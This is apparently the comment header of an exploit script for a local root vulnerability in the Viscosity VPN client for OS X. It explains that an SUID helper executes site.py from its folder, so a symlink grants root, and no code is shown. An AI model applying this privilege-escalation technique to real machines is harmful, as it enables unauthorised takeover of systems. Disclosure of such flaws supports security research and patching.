# After the hullabaloo from the Tunnelblick local root, savy Mac users  
# began defending Viscosity, another OS X VPN client. They figured, since  
# they spent money on Viscosity, surely it would be better designed than  
# the free open-source alternative.  
#  
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for  
# the win. Here, the SUID helper will execute site.py in its enclosing  
# folder. A simple symlink, and we have root.  
#  
# greets to jono
